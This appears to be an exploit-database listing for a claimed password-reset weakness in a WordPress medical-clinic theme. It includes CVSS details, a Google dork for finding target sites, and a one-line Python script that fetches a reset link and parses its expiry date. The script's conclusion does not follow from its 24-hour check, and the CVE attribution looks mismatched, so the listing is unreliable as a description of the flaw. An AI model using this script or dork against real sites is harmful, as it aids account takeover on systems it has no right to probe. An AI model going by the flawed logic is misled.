WordPress Theme Medic v1.0.0 Weak Password Recovery Mechanism for Forgotten Password

Risk: Medium
Local: No
Remote: Yes
CWE: CWE-640

CVSS Base Score: 5.5/10
Impact Subscore: 4.9/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: None

# Exploit Title: WordPress Theme Medic v1.0.0 - Weak Password Recovery Mechanism for Forgotten Password # Dork: inurl:/wp-includes/class-wp-query.php # Date: 2023-06-19 # Exploit Author: Amirhossein Bahramizadeh # Category : Webapps # Vendor Homepage: https://www.templatemonster.com/wordpress-themes/medic-health-and-medical-clinic-wordpress-theme-216233.html # Version: 1.0.0 (REQUIRED) # Tested on: Windows/Linux # CVE: CVE-2020-11027 import requests from bs4 import BeautifulSoup from datetime import datetime, timedelta # Set the WordPress site URL and the user email address site_url = 'https://example.com' user_email = 'user@example.com' # Get the password reset link from the user email # You can use any email client or library to retrieve the email # In this example, we are assuming that the email is stored in a file named 'password_reset_email.html' with open('password_reset_email.html', 'r') as f: email = f.read() soup = BeautifulSoup(email, 'html.parser') reset_link = soup.find('a', href=True)['href'] print(f'Reset Link: {reset_link}') # Check if the password reset link expires upon changing the user password response = requests.get(reset_link) if response.status_code == 200: # Get the expiration date from the reset link HTML soup = BeautifulSoup(response.text, 'html.parser') expiration_date_str = soup.find('p', string=lambda s: 'Password reset link will expire on' in s).text.split('on ')[1] expiration_date = datetime.strptime(expiration_date_str, '%B %d, %Y %I:%M %p') print(f'Expiration Date: {expiration_date}') # Check if the expiration date is less than 24 hours from now if expiration_date < datetime.now() + timedelta(hours=24): print('Password reset link expires upon changing the user password.') else: print('Password reset link does not expire upon changing the user password.') else: print(f'Error fetching reset link: {response.status_code} {response.text}') exit()

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